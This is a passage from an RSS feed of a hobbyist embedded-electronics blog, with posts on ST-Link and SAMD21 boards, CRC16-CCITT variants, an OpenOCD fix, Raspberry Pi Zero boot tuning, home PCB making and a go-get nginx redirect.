the base for easy charging.&lt;/p></description></item><item><title>ST Link v2 clone as a dev board</title><link>https://juju.nz/michaelh/post/2017/st_link_dev_board/</link><pubDate>Thu, 04 Jan 2018 17:22:05 +0100</pubDate><guid>https://juju.nz/michaelh/post/2017/st_link_dev_board/</guid><description>&lt;p>I got distracted and had a hack on using a STL Link v2 clone as a
development board. There&amp;rsquo;s a lot to like:&lt;/p>
&lt;ul>
&lt;li>A Cortex-M3 STM32F103C8T processor with 64 KiB of flash and 20 KiB
of RAM&lt;/li>
&lt;li>4 I/O lines and a LED to blink&lt;/li>
&lt;li>Decent support in
&lt;a href="https://github.com/stm32duino" target="_blank" rel="noopener">STM32duino&lt;/a> with a
DFU bootloader&lt;/li>
&lt;li>Comes in a case and plugs directly into a USB port&lt;/li>
&lt;li>
&lt;a href="https://www.aliexpress.com/wholesale?SearchText=st&amp;#43;link&amp;#43;v2" target="_blank" rel="noopener">~$2/each&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>The I/O is strange and limited but it&amp;rsquo;s enough to drive a RGB LED via
PWM, drive a 40 RGB LED
&lt;a href="https://shop.pimoroni.com/products/unicorn-phat" target="_blank" rel="noopener">pHAT&lt;/a> over SPI, and
drive a
&lt;a href="https://www.adafruit.com/product/2478" target="_blank" rel="noopener">320x240 LCD&lt;/a> over fast
bitbanged SPI.&lt;/p>
&lt;p>I won&amp;rsquo;t continue with this though. The I/O is too limited and a
&lt;a href="http://wiki.stm32duino.com/index.php?title=Blue_Pill" target="_blank" rel="noopener">Blue Pill&lt;/a> is
the same price sans case.&lt;/p></description></item><item><title>SDHC over SPI performance</title><link>https://juju.nz/michaelh/post/2017/sdhc_speed/</link><pubDate>Fri, 29 Dec 2017 15:23:56 +0100</pubDate><guid>https://juju.nz/michaelh/post/2017/sdhc_speed/</guid><description>&lt;p>I&amp;rsquo;m hacking on adding SDHC over SPI block device support to the
&lt;a href="https://www.zephyrproject.org/" target="_blank" rel="noopener">Zephyr Project&lt;/a> RTOS.&lt;/p>
&lt;p>I&amp;rsquo;m currently getting 224 KiB/s on an Arduino Zero with a 4 MHz bus
and 1 KiB read size, which is an OK-ish 46 % of the top bus capacity.&lt;/p>
&lt;p>Here&amp;rsquo;s where the time goes:&lt;/p>
&lt;ul>
&lt;li>4550 us - total time to read 2x 512 byte blocks from the card&lt;/li>
&lt;li>80 us - time spent in ELM FS (impressive!) and timing code&lt;/li>
&lt;li>330 us - time for the no-name SD card to make the sector ready&lt;/li>
&lt;li>1500 us - time to transfer 512 bytes over SPI&lt;/li>
&lt;li>330 us - time to calculate the CRC to check the sector&lt;/li>
&lt;/ul>
&lt;p>The SPI transfer itself is done in bursts of 16 bytes (~32 us) and the
SPI driver has a turn-around time of 16 us.&lt;/p>
&lt;p>Turning that into percentages,&lt;/p>
&lt;ul>
&lt;li>4 % is in core code&lt;/li>
&lt;li>15 % is in the SD card&lt;/li>
&lt;li>67 % is in the SPI transfer&lt;/li>
&lt;li>15 % is in the CRC&lt;/li>
&lt;/ul>
&lt;p>The next steps are to optimise the SPI driver and use the hardware CRC
unit. That could bring the time per block down to &lt;code> (80 + 330 + 1000 + 100)&lt;/code> = &lt;code>~1500 us&lt;/code> and the transfer rate up to
332 KiB/s / 67 % utilisation.&lt;/p></description></item><item><title>The many different CRC16-CCITTs</title><link>https://juju.nz/michaelh/post/2017/crc16/</link><pubDate>Mon, 27 Nov 2017 20:24:30 +0100</pubDate><guid>https://juju.nz/michaelh/post/2017/crc16/</guid><description>&lt;p>I&amp;rsquo;m hacking on adding Arduino Zero support to the Zephyr Project at the
moment. I had a look at speeding up &lt;code>crc16_ccitt()&lt;/code> but ran into a
problem: there&amp;rsquo;s so many variants of CRC16-CCITT to choose from!&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Zephyr uses CRC-16/AUG-CCITT which is equivalent to
CRC-16/CCITT-FALSE with two zero bytes prepended. The effective
seed is &lt;code>0x1d0f&lt;/code> and test vector output is &lt;code>0xe5cc&lt;/code>.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Mynewt uses CRC-16/XMODEM. The seed is 0 and test vector
output is &lt;code>0x31c3&lt;/code>.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Contiki uses CRC-16/CCITT. The seed is 0, input and output are
bit reversed, and test vector output is &lt;code>0x2189&lt;/code>.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Linux uses CRC-16/MCRF4XX. The seed is &lt;code>0xffff&lt;/code>, input and
output are bit reversed, and the test vector output is &lt;code>0x6f91&lt;/code>.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>The Arduino Zero&amp;rsquo;s SAMD21 uses CRC-16/CCITT as per Contiki.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Contiki, Linux, and the SAMD21 are the same except for the seed.
Zephyr is close, but you need to modify the seed to account for the
padding. Mynewt is the outlier as all others reverse the input and
output.&lt;/p>
&lt;p>See
&lt;a href="http://reveng.sourceforge.net/crc-catalogue/16.htm" target="_blank" rel="noopener">http://reveng.sourceforge.net/crc-catalogue/16.htm&lt;/a> for a
catalogue.&lt;/p></description></item><item><title>OpenOCD with the ST-Link v2</title><link>https://juju.nz/michaelh/post/2017/openocd/</link><pubDate>Mon, 09 Oct 2017 20:28:54 +0200</pubDate><guid>https://juju.nz/michaelh/post/2017/openocd/</guid><description>&lt;p>There is an issue when trying to program a
&lt;a href="http://www.atmel.com/products/microcontrollers/arm/sam-d.aspx" target="_blank" rel="noopener">SAMD21&lt;/a>
like in the
&lt;a href="https://store.arduino.cc/usa/arduino-zero" target="_blank" rel="noopener">Arduino Zero&lt;/a>
using
&lt;a href="http://openocd.org/" target="_blank" rel="noopener">OpenOCD&lt;/a> with a
&lt;a href="https://www.aliexpress.com/wholesale?SearchText=st-link&amp;#43;v2" target="_blank" rel="noopener">ST-Link v2&lt;/a>
which gives errors like this:&lt;/p>
&lt;pre>&lt;code>** Programming Started **
auto erase enabled
Info : SAMD MCU: SAMD21E18A (256KB Flash, 32KB RAM)
Error: Failed to erase row containing 00000000
Error: SAMD: failed to erase sector 0
Error: failed erasing sectors 0 to 0
&lt;/code>&lt;/pre>
&lt;p>The issue is that &lt;code>NVMCTRL_CTRLA&lt;/code> is a half-word register and the
ST-Link v2 emulates the half word write using two single byte writes.&lt;/p>
&lt;p>The hack-around is to change to a word write:&lt;/p>
&lt;pre>&lt;code>diff --git a/src/flash/nor/at91samd.c b/src/flash/nor/at91samd.c
index 2673b0ee..f060bceb 100644
--- a/src/flash/nor/at91samd.c
+++ b/src/flash/nor/at91samd.c
@@ -472,7 +472,7 @@ static int samd_issue_nvmctrl_command(struct target *target, uint16_t cmd)
}
/* Issue the NVM command */
- res = target_write_u16(target,
+ res = target_write_u32(target,
SAMD_NVMCTRL + SAMD_NVMCTRL_CTRLA, SAMD_NVM_CMD(cmd));
if (res != ERROR_OK)
return res;
&lt;/code>&lt;/pre>
&lt;p>See
&lt;a href="https://sourceforge.net/p/openocd/mailman/message/34565277/" target="_blank" rel="noopener">https://sourceforge.net/p/openocd/mailman/message/34565277/&lt;/a> for
more.&lt;/p></description></item><item><title>SAMD21E18 PCB</title><link>https://juju.nz/michaelh/post/2017/demini/</link><pubDate>Mon, 02 Oct 2017 19:31:48 +0200</pubDate><guid>https://juju.nz/michaelh/post/2017/demini/</guid><description>&lt;p>In follow up to my mysensors.org build, I&amp;rsquo;ve always wanted to design
PCB and try my hand at SMD soldering. I normally use veroboard on a
0.1&amp;quot; pitch but the time to cut and solder wires makes for a slow
build. Here&amp;rsquo;s the result:&lt;/p>
&lt;p>&lt;img src="board.jpg" alt="Final PCB assembled">&lt;/p>
&lt;p>It has:&lt;/p>
&lt;ul>
&lt;li>An AT91SAMD21E18 (256 KiB flash, 32 pins, 0.8 mm pitch)&lt;/li>
&lt;li>USB, regulator, Cortex SWD debug header, LED, and pullups on I2C&lt;/li>
&lt;li>Footprint for a RFM69CW radio&lt;/li>
&lt;li>Adafruit Feather form factor&lt;/li>
&lt;li>Two layer PCB with 0603 passives&lt;/li>
&lt;/ul>
&lt;p>The soldering turned out well. I mainly used the used the
tin/remove-excess-with-solderwick method and a heatgun for the
USB socket. For the CPU tinning and then pressing down on the pins
with the tip of the iron worked well.&lt;/p>
&lt;p>Changes for the next version would be:&lt;/p>
&lt;ul>
&lt;li>Add a ~10 k pullup to RST&lt;/li>
&lt;li>Move the LED to PA17 to match the Zero&lt;/li>
&lt;li>Reduce the LED current limit resistor to 1k from 2k2&lt;/li>
&lt;li>Put footprints on the bottom of the board for a Si7021 and/or a
25FL064+&lt;/li>
&lt;/ul></description></item><item><title>MySensors</title><link>https://juju.nz/michaelh/post/2017/mysensors/</link><pubDate>Mon, 02 Oct 2017 19:27:58 +0200</pubDate><guid>https://juju.nz/michaelh/post/2017/mysensors/</guid><description>&lt;p>It gets warm and humid here in the summer and feels too dry in the
winter. To measure this I built up two
&lt;a href="http://mysensors.org" target="_blank" rel="noopener">MySensors&lt;/a>
&lt;a href="https://www.openhardware.io/view/1/Sensebender-Micro" target="_blank" rel="noopener">Sensebender Micro&lt;/a>
boards and designed a 3D printed a case to go with
them:&lt;/p>
&lt;p>&lt;img src="box.jpg" alt="Final unit assembled">&lt;/p>
&lt;p>The holes in the case are to save on print time and let the air flow.
The battery is far oversized and probably self discharges faster
than the board draws current.&lt;/p>
&lt;p>I ended up using a Raspberry Pi Zero with a RFM69HW as the gateway.
It&amp;rsquo;s connected as a Ethernet gadget to my home server which lets
everything run over IP while using a single cable for power and data.&lt;/p></description></item><item><title>Adventures in making PCBs</title><link>https://juju.nz/michaelh/post/2017/pcb-null/</link><pubDate>Mon, 11 Sep 2017 11:09:18 +0200</pubDate><guid>https://juju.nz/michaelh/post/2017/pcb-null/</guid><description>&lt;p>As part of adding
&lt;a href="https://www.mysensors.org/" target="_blank" rel="noopener">MySensors&lt;/a> based sensors around the house, I want to
make an integrated version of the
&lt;a href="https://www.mysensors.org/hardware/micro" target="_blank" rel="noopener">Sensebender Micro&lt;/a> upgraded with a
SAMD21 and a
&lt;a href="https://webshop.ideetron.nl/RFM69HCW" target="_blank" rel="noopener">RFM69HCW&lt;/a> radio. I&amp;rsquo;ve never had much success with making
PCBs at home, so I thought I&amp;rsquo;d give it another try and record the
experiments.&lt;/p>
&lt;p>Try 1: HP M252dw, laminator @ 10 mm, 4 times through, Migros-brand
T-Shirt transfer paper. Some transfer but lots left behind. Tape
melted with heat? Learn: rotate image to make better use of paper.
Transfer paper goes hatches down in paper tray.&lt;/p>
&lt;p>Try 2: HP, iron, transfer paper. Iron: max temp, no steam, 30s in
place, 2m total. Too much movement, smeared. Transfer paper has a
sticky layer (by design?) which melted. Lesson: T-shirt transfer
paper is not usable.&lt;/p>
&lt;p>Try 3: HP, iron, glossy IKEA catalog pages. Iron: as #2. Paper
reports as jammed.&lt;/p>
&lt;p>Try 4: HP, iron, HP Q5451A photo paper. I wrapped the paper around
the PCB, which makes it rise. Paper sticks to the iron when heated.
Result: little toner transferred.&lt;/p>
&lt;p>Try 4: Samsung, iron, HP Q4551A photo paper. Result: little toner
transferred.&lt;/p>
&lt;p>Try 5: PCB coated with blue spray paint, 40W laser to remove the
paint. Result: a thin film is left on the copper. Trying to remove
the film also removes the paint. Too higher power also shrinks the
tracks. Result is insensitive to power level so lower is
better.&lt;/p>
&lt;p>So, no luck yet. I&amp;rsquo;ve ordered some
&lt;a href="http://pcbfx.com/" target="_blank" rel="noopener">PCBfx&lt;/a> toner
transfer paper and TRF foil. I&amp;rsquo;ve also ordered a small batch from
&lt;a href="http://DirtyPCBs.com" target="_blank" rel="noopener">Dirty PCBs&lt;/a> to see what the turn around time is
like. It may be worth it for the detail and lack of mess.&lt;/p></description></item><item><title>juju.net.nz/michaelh on IPFS</title><link>https://juju.nz/michaelh/post/2017/ipfs/</link><pubDate>Sun, 09 Jul 2017 15:01:26 +0200</pubDate><guid>https://juju.nz/michaelh/post/2017/ipfs/</guid><description>&lt;p>The short story is that this blog is now available on
&lt;a href="https://ipfs.io/" target="_blank" rel="noopener">IPFS&lt;/a> at
&lt;a href="https://juju.net.nz/ipns/juju.net.nz/michaelh/" target="_blank" rel="noopener">https://juju.net.nz/ipns/juju.net.nz/michaelh/&lt;/a> and
&lt;a href="https://gateway.ipfs.io/ipns/juju.net.nz/michaelh/" target="_blank" rel="noopener">https://gateway.ipfs.io/ipns/juju.net.nz/michaelh/&lt;/a>&lt;/p>
&lt;p>This is done by generating the blog a second time with &lt;code>ipfs/&lt;/code> as the
basepath, changing to relative links, and then adding and updating the
name as part of the
&lt;a href="https://buildbot.net/" target="_blank" rel="noopener">buildbot&lt;/a> script.
&lt;a href="http://gohugo.io/" target="_blank" rel="noopener">Hugo&lt;/a> has relative and canonical link support but
it seems inconsistent, and it&amp;rsquo;s hard to resist a &lt;code>sed&lt;/code> script&amp;hellip;&lt;/p>
&lt;p>I quite like how you can map ownership across DNS and IPFS using a TXT
record.&lt;/p></description></item><item><title>Raspberry Pi Zero boot speed</title><link>https://juju.nz/michaelh/post/2017/piboot/</link><pubDate>Sun, 02 Jul 2017 11:46:07 +0200</pubDate><guid>https://juju.nz/michaelh/post/2017/piboot/</guid><description>&lt;p>I enjoy working on embedded systems, but there&amp;rsquo;s a significant amount
of work you have to do in getting the platform ready before getting to
the more interesting business logic. The
&lt;a href="https://www.raspberrypi.org/blog/raspberry-pi-zero-w-joins-family/" target="_blank" rel="noopener">Raspberry Pi Zero W&lt;/a>
solves most of these problems: it&amp;rsquo;s small, has decent I/O, a decent
price ($10 + $6 for storage + $4 for shipping) and runs full Linux so
I can use my current language of choice.&lt;/p>
&lt;p>One problem is boot speed. It&amp;rsquo;s common to power cycle an embedded
project so a long boot time slows down the build/test cycle. A long
boot time can also affect the safety of the system.&lt;/p>
&lt;p>Because of this, I had a hack on the Raspbian boot time. The
&lt;code>.target&lt;/code> units are boot milestones such as basics ready, filesystem
ready, and networking ready. &lt;code>systemd-analyze plot&lt;/code> shows where the
time went and what was running in parallel such as:&lt;/p>
&lt;pre>&lt;code>$ grep target boot-2.svg
&amp;lt;text class=&amp;quot;left&amp;quot; x=&amp;quot;390.802&amp;quot; y=&amp;quot;94.000&amp;quot;&amp;gt;remote-fs-pre.target&amp;lt;/text&amp;gt;
&amp;lt;text class=&amp;quot;left&amp;quot; x=&amp;quot;391.128&amp;quot; y=&amp;quot;114.000&amp;quot;&amp;gt;cryptsetup.target&amp;lt;/text&amp;gt;
&lt;/code>&lt;/pre>
&lt;p>As a bonus, the &lt;code>x&lt;/code> attribute is the time in centi-seconds the span
started which makes it easer to measure.&lt;/p>
&lt;p>The biggest savings were through disabling unneeded services and
switching from &lt;code>/etc/init.d/networking&lt;/code> to &lt;code>systemd-networkd&lt;/code>. The
final boot order was:&lt;/p>
&lt;p>&lt;img src="boot-2.svg" alt="Boot order and timing">&lt;/p>
&lt;p>giving:&lt;/p>
&lt;ul>
&lt;li>2.70 s before userspace.&lt;/li>
&lt;li>3.91 s is the earliest a no-dependency service can start. Useful
for any safety response.&lt;/li>
&lt;li>7.42 s to local-fs: filesystem is up and usable&lt;/li>
&lt;li>7.94 s to basic&lt;/li>
&lt;li>17.8 s to network up. Includes the wifi and DHCP time so network
dependent.&lt;/li>
&lt;/ul>
&lt;p>Moving from ext4 to f2fs made no difference. There&amp;rsquo;s probably another
1 s to be saved through shrinking the kernel and, say, moving USB to a
module so it can init later.&lt;/p>
&lt;h1 id="update">Update&lt;/h1>
&lt;p>I switched to a custom kernel with no printk() and USB as a module. I
also switched from the Debian services to things like
systemd-timesyncd and disabling the Debian dhcpcd. Times now are:&lt;/p>
&lt;ul>
&lt;li>0.80 s before userspace.&lt;/li>
&lt;li>1.70 s is the earliest a no-dependency service can start. Useful
for any safety response.&lt;/li>
&lt;li>5.11 s to local-fs: filesystem is up and usable&lt;/li>
&lt;li>5.88 s to basic&lt;/li>
&lt;li>7.03 s to network - although it&amp;rsquo;s hard to tell if the network is up&lt;/li>
&lt;/ul>
&lt;p>&lt;img src="boot-3.svg" alt="Boot order and timing">&lt;/p></description></item><item><title>cxx17: working through Cracking the Coding Interview</title><link>https://juju.nz/michaelh/post/cxx17/</link><pubDate>Tue, 27 Jun 2017 22:02:42 +0200</pubDate><guid>https://juju.nz/michaelh/post/cxx17/</guid><description>&lt;p>I&amp;rsquo;m working my way through &lt;code>Cracking the Coding Interview&lt;/code> as a way of
learning the new features and tool ecosystem of C++17.&lt;/p>
&lt;p>Q1.9 reminded me of those games where you need to make a shape by
drawing straight lines through dots. The trick with those games is to
realise that you can draw outside the (implicit) bounds of the dots
themselves. For Q1.9, the trick is to realise that you can concat the
test string as any rotation will be a substring of the repeated
string.&lt;/p>
&lt;p>I&amp;rsquo;m quite happy with the expressiveness of C++17 (with ranges-v3) so
far. The solution to Q1.9 looks like:&lt;/p>
&lt;pre>&lt;code>return (lhs + lhs).find(rhs) != std::string::npos;
&lt;/code>&lt;/pre>
&lt;p>which is very Pythonic.&lt;/p></description></item><item><title>go packages on your own domain</title><link>https://juju.nz/michaelh/post/2017/go-get/</link><pubDate>Sun, 16 Apr 2017 21:00:59 +0200</pubDate><guid>https://juju.nz/michaelh/post/2017/go-get/</guid><description>&lt;p>
&lt;a href="https://golang.org/cmd/go/" target="_blank" rel="noopener">go get&lt;/a> has a nice feature where it will
fetch the package URL and, based on a meta tag, redirect to the actual
location.&lt;/p>
&lt;p>Here&amp;rsquo;s the nginx config I use to redirect &lt;code>go get juju.net.nz/x/package&lt;/code>
to either my private repo (for unreleased stuff) or my
&lt;a href="https://juju.nz/michaelh/src">cgit instance&lt;/a> for everything else. This is similar to how
&lt;code>golang.org/x/...&lt;/code> and &lt;code>gobot.io/x/...&lt;/code> operate.&lt;/p>
&lt;pre>&lt;code>server {
...
location ~ /x/(.*) {
if (-d /home/juju/p/git/$1.git) {
return 200 '&amp;lt;meta name=&amp;quot;go-import&amp;quot; content=&amp;quot;$host$uri git ssh://juju@$host/~juju/p/git/$1.git&amp;quot;&amp;gt;\n';
}
if (-d /home/juju/git/$1.git) {
return 200 '&amp;lt;meta name=&amp;quot;go-import&amp;quot; content=&amp;quot;$host$uri git $scheme://$host/src/$1.git&amp;quot;&amp;gt;\n';
}
return 404;
}
}
&lt;/code>&lt;/pre>
&lt;p>As a bonus this means I could, say, shift the code to github without
breaking existing code.&lt;/p></description></item><item><title>DFRobot FIT0441 pinout</title><link>https://juju.nz/michaelh/2016/11/dfrobot-fit0441-pinout/</link><pubDate>Fri, 25 Nov 2016 21:25:00 +0000</pubDate><guid>https://juju.nz/michaelh/2016/11/dfrobot-fit0441-pinout/</guid><description>&lt;p>I ordered two FIT0441 brushless motors for use in v2 of my balancing robot. The
&lt;a href="https://www.dfrobot.com/wiki/index.php/FIT0441_Brushless_DC_Motor_with_Encoder_12V_159RPM" target="_blank" rel="noopener">DFRobot&lt;/a> wiki page on the motor is incorrect so I thought I’d blog about it so someone else can find it 🙂&lt;/p>
&lt;p>The motor comes with a 5 pin JST-SH cable with a white end and a black end. The white end goes to the motor. When looking from the back of the motor with the socket at the 6 o’clock position, the wires are:&lt;/p>
&lt;ul>
&lt;li>Blue (left most): PWM. Take to GND for full speed.&lt;/li>
&lt;li>Black: GND / Supply negative&lt;/li>
&lt;li>Yellow: Direction&lt;/li>
&lt;li>Green: encoder output. ~680 Hz at full speed&lt;/li>
&lt;li>Red (right most): 12V&lt;/li>
&lt;/ul>
&lt;p>Note that the black end has a completely different order.&lt;/p>
&lt;p>To make the motor spin, connect 12V to Black and Red and short Blue to GND. To make it spin in the opposite direction, short Yellow to GND.&lt;/p></description></item><item><title>ESP8266 IO bridge</title><link>https://juju.nz/michaelh/2016/10/esp8266-io-bridge/</link><pubDate>Sun, 23 Oct 2016 18:58:04 +0000</pubDate><guid>https://juju.nz/michaelh/2016/10/esp8266-io-bridge/</guid><description>&lt;p>
&lt;a href="https://github.com/eriksl/esp8266-universal-io-bridge" target="_blank" rel="noopener">github.com/eriksl/esp8266-universal-io-bridge&lt;/a> looks cool – it exposes the I/O of a ESP8266 wifi module including the GPIO, I2C, PWM, ADC, and UART via a line based telnet interface.&lt;/p></description></item><item><title>A toy PL/0 compiler</title><link>https://juju.nz/michaelh/2016/08/a-toy-pl0-compiler/</link><pubDate>Thu, 25 Aug 2016 19:54:44 +0000</pubDate><guid>https://juju.nz/michaelh/2016/08/a-toy-pl0-compiler/</guid><description>&lt;p>I’ve released a toy compiler for the PL/0 educational language at
&lt;a href="https://juju.net.nz/src/cgit.cgi/pl0.git/" target="_blank" rel="noopener">https://juju.net.nz/src/cgit.cgi/pl0.git/&lt;/a> or
&lt;a href="https://github.com/nzmichaelh/pl0" target="_blank" rel="noopener">https://github.com/nzmichaelh/pl0&lt;/a>.&lt;/p>
&lt;p>I did this as, despite working with compilers for a fair part of my life, I’d never written one from scratch. I chose PL/0 as it was designed by a local legend, Niklaus Wirth, who is also the creator of Pascal and Modula-2.&lt;/p></description></item><item><title>Maker Faire Bodensee</title><link>https://juju.nz/michaelh/2016/06/maker-faire-bodensee/</link><pubDate>Sun, 26 Jun 2016 10:15:44 +0000</pubDate><guid>https://juju.nz/michaelh/2016/06/maker-faire-bodensee/</guid><description>&lt;p>We went to
&lt;a href="http://www.makerfairebodensee.com/" target="_blank" rel="noopener">Maker Faire Bodensee&lt;/a> on the weekend. The kids spent so much time with Paula Pongratz’s
&lt;a href="https://p0stap0calyptic.wordpress.com/" target="_blank" rel="noopener">Post-apocalyptic jewlery&lt;/a> that they missed most of the rest (heh).&lt;/p>
&lt;p>Other standouts were the breadboard / pus pin based electronic organ from [&lt;/p>
&lt;p>Elektronikmuseum Tettnang]
&lt;a href="http://www.emuseum-tettnang.de" target="_blank" rel="noopener">3&lt;/a> and the marshmallow building challenge by Toolbox BODENSEE. I also want to have a look into the
&lt;a href="http://www.makerfairebodensee.com/mw-de/messeinformationen/tagesprogramm.php?lid=87&amp;amp;sMode=detail&amp;amp;id=154&amp;amp;lg=de" target="_blank" rel="noopener">Minecraft smart-home&lt;/a>,
&lt;a href="http://nodebots.ch" target="_blank" rel="noopener">Nodebots&lt;/a>, and Freifunk.&lt;/p></description></item><item><title>Sending music over light</title><link>https://juju.nz/michaelh/2016/04/sending-music-over-light/</link><pubDate>Sun, 17 Apr 2016 15:20:43 +0000</pubDate><guid>https://juju.nz/michaelh/2016/04/sending-music-over-light/</guid><description>&lt;p>Someone recently mentioned that you can ‘hear’ a TV remote control by hooking a solar panel to a speaker and pointing the remote at it. It was a rainy weekend this weekend, so my son and I gave it a go:&lt;/p>
&lt;div style="width: 640px; " class="wp-video">
&lt;video class="wp-video-shortcode" id="video-327-7" width="640" height="361" preload="metadata" controls="controls">&lt;source type="video/mp4" src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/04/VID-20160417-162947-3.m4v?_=7" />&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/04/VID-20160417-162947-3.m4v">https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/04/VID-20160417-162947-3.m4v&lt;/a>&lt;/video>
&lt;/div>
&lt;p>The circuit is simple: a solar panel from a toy, a ~1 Hz RC highpass filter to get rid of the DC component, and an amplified speaker for the output. The noise is the code that the remote is sending to the TV which is roughly 700 Hz for one remote and 400 Hz for the other.&lt;/p>
&lt;p>The next step is to see if you can send music over light. With a bit more circuitry, you can:&lt;/p>
&lt;div style="width: 640px; " class="wp-video">
&lt;video class="wp-video-shortcode" id="video-327-8" width="640" height="361" preload="metadata" controls="controls">&lt;source type="video/mp4" src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/04/Sending-music-over-light-1.m4v?_=8" />&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/04/Sending-music-over-light-1.m4v">https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/04/Sending-music-over-light-1.m4v&lt;/a>&lt;/video>
&lt;/div>
&lt;p>I used a LM386 to bias the LED to be normally on. The bias is set by a potentiometer on one of the differential inputs with the MP3 player on the other. Setting the bias too high or too low causes clipping due to the LED turning off or the amplifier hitting the 5 V supply rail. It sounds really good – well, at least as the small speaker lets it.&lt;/p></description></item><item><title>Web connected NeoPixel ring</title><link>https://juju.nz/michaelh/2016/02/web-connected-neopixel-ring/</link><pubDate>Sun, 07 Feb 2016 16:04:36 +0000</pubDate><guid>https://juju.nz/michaelh/2016/02/web-connected-neopixel-ring/</guid><description>&lt;p>It’s taken a while (as you can tell from the date on the box), but here’s my web connected NeoPixel ring:&lt;/p>
&lt;div style="width: 640px; " class="wp-video">
&lt;video class="wp-video-shortcode" id="video-319-5" width="640" height="360" preload="metadata" controls="controls">&lt;source type="video/mp4" src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/Vid-20160207-165253-1.m4v?_=5" />&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/Vid-20160207-165253-1.m4v">https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/Vid-20160207-165253-1.m4v&lt;/a>&lt;/video>
&lt;/div>
&lt;p>Chroma trail: a comet with a trail that cycles through the colours of the rainbow.&lt;/p>
&lt;p>I had to turn the brightness down so the camera didn’t saturate, as you can see in the next one:&lt;/p>
&lt;div style="width: 640px; " class="wp-video">
&lt;video class="wp-video-shortcode" id="video-319-6" width="640" height="360" preload="metadata" controls="controls">&lt;source type="video/mp4" src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/raindrops.mp4?_=6" />&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/raindrops.mp4">https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/raindrops.mp4&lt;/a>&lt;/video>
&lt;/div>
&lt;p>Raindrops: randomly coloured drops that fade away.&lt;/p>
&lt;p>This is a WRTnode board running a Python server. The patterns are loadable Python code. For a limited time, the server is available
&lt;a href="http://i.juju.net.nz:8080/pattern" target="_blank" rel="noopener">here&lt;/a>. Try
&lt;a href="http://i.juju.net.nz:8080/pattern" target="_blank" rel="noopener">/pattern&lt;/a> for a list, and
&lt;a href="http://i.juju.net.nz:8080/pattern/chroma_spin.py/run" target="_blank" rel="noopener">/pattern/name/run&lt;/a> to run one.&lt;/p></description></item><item><title>Fading text on an OLED screen</title><link>https://juju.nz/michaelh/2016/02/fading-text-on-an-oled-screen/</link><pubDate>Thu, 04 Feb 2016 21:18:10 +0000</pubDate><guid>https://juju.nz/michaelh/2016/02/fading-text-on-an-oled-screen/</guid><description>&lt;p>Here’s my hack of the moment: text fading in on a
&lt;a href="https://www.olimex.com/Products/Modules/LCD/MOD-OLED-128x64/open-source-hardware" target="_blank" rel="noopener">OLIMEX 128×64 OLED display&lt;/a>. The interesting bit is that this is a TTF font which is rendered by
&lt;a href="http://libsdl.org/" target="_blank" rel="noopener">SDL2&lt;/a> into a buffer, dithered into black and white using
&lt;a href="https://en.wikipedia.org/wiki/Floyd%E2%80%93Steinberg_dithering" target="_blank" rel="noopener">Floyd-Steinberg error diffusion&lt;/a>, and then written out using the
&lt;a href="http://iotdk.intel.com/docs/master/upm/" target="_blank" rel="noopener">Intel IoT upm&lt;/a> display driver. Optimizing the bulk write routine got the frame rate up from ~4 FPS to ~15 FPS.&lt;/p>
&lt;div style="width: 640px; " class="wp-video">
&lt;video class="wp-video-shortcode" id="video-315-4" width="640" height="360" preload="metadata" controls="controls">&lt;source type="video/mp4" src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/oled.mp4?_=4" />&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/oled.mp4">https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/oled.mp4&lt;/a>&lt;/video>
&lt;/div></description></item><item><title>Adding buttons on the Linkit Smart</title><link>https://juju.nz/michaelh/2016/01/adding-buttons-on-the-linkit-smart/</link><pubDate>Sun, 10 Jan 2016 20:25:58 +0000</pubDate><guid>https://juju.nz/michaelh/2016/01/adding-buttons-on-the-linkit-smart/</guid><description>&lt;p>Here’s what I found out while trying to add buttons to the OpenWrt based
&lt;a href="http://www.seeedstudio.com/depot/LinkIt-Smart-7688-p-2573.html" target="_blank" rel="noopener">Linkit Smart&lt;/a>.&lt;/p>
&lt;p>The flow is:&lt;/p>
&lt;ul>
&lt;li>Keys are defined in
&lt;a href="https://github.com/openwrt/openwrt/blob/chaos_calmer/target/linux/ramips/dts/LINKIT7688.dts" target="_blank" rel="noopener">&lt;code>target/linux/ramips/dts/LINKIT7688.dts&lt;/code>&lt;/a>
&lt;ul>
&lt;li>
&lt;a href="https://github.com/openwrt/openwrt/blob/master/package/kernel/gpio-button-hotplug/src/gpio-button-hotplug.c" target="_blank" rel="noopener">&lt;code>gpio-button-hotplug&lt;/code>&lt;/a> emulates &lt;code>gpio-keys-polled&lt;/code> and generates uevents.
&lt;ul>
&lt;li>The uevent is received onver netlink by procd in
&lt;a href="http://git.openwrt.org/?p=project/procd.git;a=blob;f=plug/hotplug.c" target="_blank" rel="noopener">&lt;code>plug/hotplug.c&lt;/code>&lt;/a>
&lt;ul>
&lt;li>
&lt;p>The event is dispatched via
&lt;a href="https://github.com/openwrt/openwrt/blob/master/package/system/procd/files/hotplug.json" target="_blank" rel="noopener">&lt;code>/etc/hotplug.json&lt;/code>&lt;/a>&lt;/p>
&lt;ul>
&lt;li>
&lt;p>The standard dispatch rule calls &lt;code>/etc/rc.buttons/$BUTTON&lt;/code> &lt;/ul>
The DTS fragment is:&lt;/p>
&lt;pre>gpio-keys-polled {
&lt;/li>
&lt;/ul>
&lt;p>&amp;hellip;
btn2 {
label = &amp;ldquo;btn2&amp;rdquo;;
gpios = &amp;lt;&amp;amp;gpio0 2 1&amp;gt;;
